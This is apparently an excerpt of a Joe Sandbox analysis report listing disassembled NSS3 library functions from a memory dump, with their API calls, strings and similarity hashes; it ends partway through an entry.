Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707CD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707D6
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA0204A), ref: 6CA707E4
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,6CA0204A), ref: 6CA70864
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA70880
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,6CA0204A), ref: 6CA708CB
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708D7
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708FB

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$CriticalSection$Unlock$Enterfree$DeleteError$K11_calloc$ImportPublicTokens
String ID:
API String ID: 544520609-0
Opcode ID: ff4df44cb9f5c34c037e79e2e2fe08221042ee9b7223d79c2701146e72346afc
Instruction ID: d81219e88973afdee35690042c0bff61b18dac4c978b17a3dd802c36288789e0
Opcode Fuzzy Hash: ff4df44cb9f5c34c037e79e2e2fe08221042ee9b7223d79c2701146e72346afc
Instruction Fuzzy Hash: A1B1F874E00605DFDB00DF68D988BAEB7B4FF09304F545629E945A7B01EB31E994CBA2

Function 6CAAAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA8AB95,00000000,?,00000000,00000000,00000000), ref: 6CAAAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CA8AB95,00000000,?,00000000,00000000,00000000), ref: 6CAAAF39
PR_Unlock.NSS3(?,?,?,6CA8AB95,00000000,?,00000000,00000000,00000000), ref: 6CAAAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CA8AB95,00000000,?,00000000,00000000,00000000), ref: 6CAAAF69
TlsGetValue.KERNEL32 ref: 6CAAB06B
EnterCriticalSection.KERNEL32(?), ref: 6CAAB083
PR_Unlock.NSS3(?), ref: 6CAAB0A4
TlsGetValue.KERNEL32 ref: 6CAAB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CAAB0D9
PR_Unlock.NSS3 ref: 6CAAB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAAB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAAB182

Part of subcall function 6CADFAB0: free.MOZGLUE(?,-00000001,?,?,6CA7F673,00000000,00000000), ref: 6CADFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CAAB177

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CA8AB95,00000000,?,00000000,00000000,00000000), ref: 6CAAB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CA8AB95,00000000,?,00000000,00000000,00000000), ref: 6CAAB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CA8AB95,00000000,?,00000000,00000000,00000000), ref: 6CAAB1C2

Part of subcall function 6CAD1560: TlsGetValue.KERNEL32(00000000,?,6CAA0844,?), ref: 6CAD157A
Part of subcall function 6CAD1560: EnterCriticalSection.KERNEL32(?,?,?,6CAA0844,?), ref: 6CAD158F
Part of subcall function 6CAD1560: PR_Unlock.NSS3(?,?,?,?,6CAA0844,?), ref: 6CAD15B2

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 8cba04c7fc06dd27916d51d10faf1de516ba2a5242277174bb9e3247f742b218
Instruction ID: 8cd3e2b758e22f3b76b631cae013ec992b1ec0d7c9a428b81f4f14b6ac9f3442
Opcode Fuzzy Hash: 8cba04c7fc06dd27916d51d10faf1de516ba2a5242277174bb9e3247f742b218
Instruction Fuzzy Hash: A2A1A2B1D002099FEF009FA4ED41AEEB7B4EF09308F144125E90997752E731E99ACBE1

Function 6CACE550 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACE5A0

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

memcpy.VCRUNTIME140(?,?,?), ref: 6CACE5F2

Strings

0, xrefs: 6CACEA4D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ErrorValuememcpy
String ID: 0
API String ID: 3044119603-4108050209
Opcode ID: beef6c91b523fc25b9cdbf1bf2f29048861f430ffc33b202f6d1ed98e58aa243
Instruction ID: affd602dd07688ef71f41d46e9e4622e411cf894b14806a9150a391193bb9dbc
Opcode Fuzzy Hash: beef6c91b523fc25b9cdbf1bf2f29048861f430ffc33b202f6d1ed98e58aa243
Instruction Fuzzy Hash: F1F16DB1A002199FDB218F24DC85BDA77B5BF49318F0841A8E908A7641E775EED4CFD1

Function 6CB5A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB5A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB5A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB5A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB5A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB5A69A

Strings

%s at line %d of [%.10s], xrefs: 6CB5A62C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB5A61D, 6CB5A68B, 6CB5A6B3
database corruption, xrefs: 6CB5A627

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 748f05a530a2fe102cce068a8be81cb173fae8c818712d05a75d02ae004bab4f
Instruction ID: 3b1b8c1b43e74850868db46e2ccf3cd0ca641854fb13756f981e383e17a46ebf
Opcode Fuzzy Hash: 748f05a530a2fe102cce068a8be81cb173fae8c818712d05a75d02ae004bab4f
Instruction Fuzzy Hash: E851B4B1908380EBDB019F25D890A6E7BE4EF44318F444839F84967681E771DD94CFA3

Function 6CA845B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,6CA81984,?), ref: 6CA845F2
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CA845FB

Part of subcall function 6CAE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE08B4

SECITEM_CompareItem_Util.NSS3(00000000,-00000001), ref: 6CA8461E

Part of subcall function 6CADFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6CA84101,00000000,?,?,?,6CA81666,?,?), ref: 6CADFCF2

SECITEM_CopyItem_Util.NSS3(00000000,?,-00000019), ref: 6CA84646
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA84662
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CA8467A
PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CA84691
PL_FreeArenaPool.NSS3 ref: 6CA846A3
PL_FinishArenaPool.NSS3 ref: 6CA846AB
free.MOZGLUE(?), ref: 6CA846BC
PORT_ZAlloc_Util.NSS3(?), ref: 6CA846E5
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA84717

Strings

security, xrefs: 6CA845EC

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$ArenaItem_Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_freememcmpmemcpy
String ID: security
API String ID: 3482804875-3315324353
Opcode ID: 9d948a3e567ed78017b0115c9be01ab374c593c959cddc27d4112e4eee950e3d
Instruction ID: c9caa980f13e3689f3f36dc3e2cc2bc5264c3e57790ad5dff092015436cea570
Opcode Fuzzy Hash: 9d948a3e567ed78017b0115c9be01ab374c593c959cddc27d4112e4eee950e3d
Instruction Fuzzy Hash: 314126B29063506BE7008B249C50B9B77ECAF4836CF090A39EC19A7B45F730E598C7D6

Function 6CAFAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAFADB1

Part of subcall function 6CADBE30: SECOID_FindOID_Util.NSS3(6CA9311B,00000000,?,6CA9311B,?), ref: 6CADBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CAFADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CAFAE08

Part of subcall function 6CADB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBB18D0,?), ref: 6CADB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFAE25
PL_FreeArenaPool.NSS3 ref: 6CAFAE63
PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CAFAE4D

Part of subcall function 6CA04C70: TlsGetValue.KERNEL32(?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04C97
Part of subcall function 6CA04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04CB0
Part of subcall function 6CA04C70: PR_Unlock.NSS3(?,?,?,?,?,6CA03921,6CBE14E4,6CB4CC70), ref: 6CA04CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAFAE93
PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CAFAECC
PL_FreeArenaPool.NSS3 ref: 6CAFAEDE
PL_FinishArenaPool.NSS3 ref: 6CAFAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAFAEF5
PL_FinishArenaPool.NSS3 ref: 6CAFAF16

Strings

security, xrefs: 6CAFADEE

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: c5b43018343bfcbb0dafba10a3f8e108705c8d161331cdb7ed07e49fef0b8126
Instruction ID: 6668044da23236f77b13cd10fcff197720ceb3ce0cfcf7c1df92ca408f420444
Opcode Fuzzy Hash: c5b43018343bfcbb0dafba10a3f8e108705c8d161331cdb7ed07e49fef0b8126
Instruction Fuzzy Hash: 5E4159B290022067E7214A14DC85BEA32B9AF4631CF140925F96496B41FB35ADCAC7D3

Function 6CAB6650 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptInit), ref: 6CAB6676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB66A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB66B3

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB66C9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAB66E8
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAB6716
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB6728
PR_LogPrint.NSS3(?,00000000), ref: 6CAB673E

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB66AC, 6CAB671E
hKey = 0x%x, xrefs: 6CAB6700, 6CAB6710
hSession = 0x%x, xrefs: 6CAB668E, 6CAB669E
pMechanism = 0x%p, xrefs: 6CAB66E3
C_DecryptInit, xrefs: 6CAB6671

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptInit
API String ID: 1003633598-277163776
Opcode ID: 60e15fdb2ddc6c4b7f49370894ad96a288c1ed28b4ce650b041d6b2dc9a85b08
Instruction ID: d64a6aaaf11d93eede3ac7f91045d43c43d10f2a48cb7346a56208977bd72c54
Opcode Fuzzy Hash: 60e15fdb2ddc6c4b7f49370894ad96a288c1ed28b4ce650b041d6b2dc9a85b08
Instruction Fuzzy Hash: 68412634601195ABCB08DF54ED88F9E7779EB4A75CF084028E908B7B11DF309988CBA2

Function 6CAB6500 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_EncryptFinal), ref: 6CAB6526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB6554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB6563

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB6579
PR_LogPrint.NSS3( pLastEncryptedPart = 0x%p,?), ref: 6CAB6595
PR_LogPrint.NSS3( pulLastEncryptedPartLen = 0x%p,?), ref: 6CAB65B0
PR_LogPrint.NSS3( *pulLastEncryptedPartLen = 0x%x,?), ref: 6CAB661A

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB655C
hSession = 0x%x, xrefs: 6CAB653E, 6CAB654E
pulLastEncryptedPartLen = 0x%p, xrefs: 6CAB65AB
pLastEncryptedPart = 0x%p, xrefs: 6CAB6590
*pulLastEncryptedPartLen = 0x%x, xrefs: 6CAB6615
C_EncryptFinal, xrefs: 6CAB6521

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastEncryptedPartLen = 0x%x$ hSession = 0x%x$ pLastEncryptedPart = 0x%p$ pulLastEncryptedPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_EncryptFinal
API String ID: 1003633598-2178457252
Opcode ID: bdd6cdf7d050f3ebef973854b01b6f1b34de8f98d9b418726e93d76060d5ff12
Instruction ID: e390a279dcee6be7755f98f78a40dcecc545cd45b3ac2b8ad78c204a116abd6e
Opcode Fuzzy Hash: bdd6cdf7d050f3ebef973854b01b6f1b34de8f98d9b418726e93d76060d5ff12
Instruction Fuzzy Hash: 2D3106356011859FDB08DF54EE88B9A77B9EB4A759F084024E508E7B11DF309998CBA2

Function 6CA98DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CA98E22
EnterCriticalSection.KERNEL32(?), ref: 6CA98E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CA98E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CA98E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CA98E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA98EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CA98EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CA98EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CA98F00
free.MOZGLUE(?), ref: 6CA98F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CA98F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CA98F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CA98F5B
PR_Unlock.NSS3(?), ref: 6CA98F72
PR_Unlock.NSS3(?), ref: 6CA98F82

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: ad4613369a8f3160b0f917f630cbcb3407498da5f119979f233a6542cba5a021
Instruction ID: 13b43a0e9d216f54f016f080607a5fa00e014a04f3b71086481c3a46f55ced28
Opcode Fuzzy Hash: ad4613369a8f3160b0f917f630cbcb3407498da5f119979f233a6542cba5a021
Instruction Fuzzy Hash: 7D51F4B2E10215AFEB009F68CC8596EB7B9FF45358F19412AEC189B700E731ED8487E1

Function 6CB90FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CB91000

Part of subcall function 6CB49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA71A48), ref: 6CB49BB3
Part of subcall function 6CB49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA71A48), ref: 6CB49BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CB91016

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PR_Unlock.NSS3(?), ref: 6CB91021

Part of subcall function 6CB2DD70: TlsGetValue.KERNEL32 ref: 6CB2DD8C
Part of subcall function 6CB2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB2DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB91046
PR_Unlock.NSS3(?), ref: 6CB9106B
PR_Lock.NSS3 ref: 6CB91079
PR_Unlock.NSS3 ref: 6CB91096
free.MOZGLUE(?), ref: 6CB910A7
free.MOZGLUE(?), ref: 6CB910B4
PR_DestroyCondVar.NSS3(?), ref: 6CB910BF
PR_DestroyCondVar.NSS3(?), ref: 6CB910CA
PR_DestroyCondVar.NSS3(?), ref: 6CB910D5
PR_DestroyCondVar.NSS3(?), ref: 6CB910E0
PR_DestroyLock.NSS3(?), ref: 6CB910EB
free.MOZGLUE(?), ref: 6CB91105

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: cea1047479e4f39bea0206ce959ace8f967e0ba3cc9cef530879a4261d4585ce
Instruction ID: 325e852dd294c879847343f4e5cd8a26c62d2cbe64f33f87c74ab311caffc31b
Opcode Fuzzy Hash: cea1047479e4f39bea0206ce959ace8f967e0ba3cc9cef530879a4261d4585ce
Instruction Fuzzy Hash: CF316CB9900841ABE7019F14ED41A99B779FF06358B584130E80913F61E732F9B8EBD2

Function 6CACEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CACEE0B

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CACEEE1

Part of subcall function 6CAC1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CAC1D7E
Part of subcall function 6CAC1D50: EnterCriticalSection.KERNEL32(?), ref: 6CAC1D8E
Part of subcall function 6CAC1D50: PR_Unlock.NSS3(?), ref: 6CAC1DD3

TlsGetValue.KERNEL32 ref: 6CACEE51
EnterCriticalSection.KERNEL32(?), ref: 6CACEE65
PR_Unlock.NSS3(?), ref: 6CACEEA2
free.MOZGLUE(?), ref: 6CACEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CACEED0
PR_Unlock.NSS3(?), ref: 6CACEF48
free.MOZGLUE(?), ref: 6CACEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CACEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CACEFA4
free.MOZGLUE(?), ref: 6CACEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CACF055
free.MOZGLUE(?), ref: 6CACF060

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
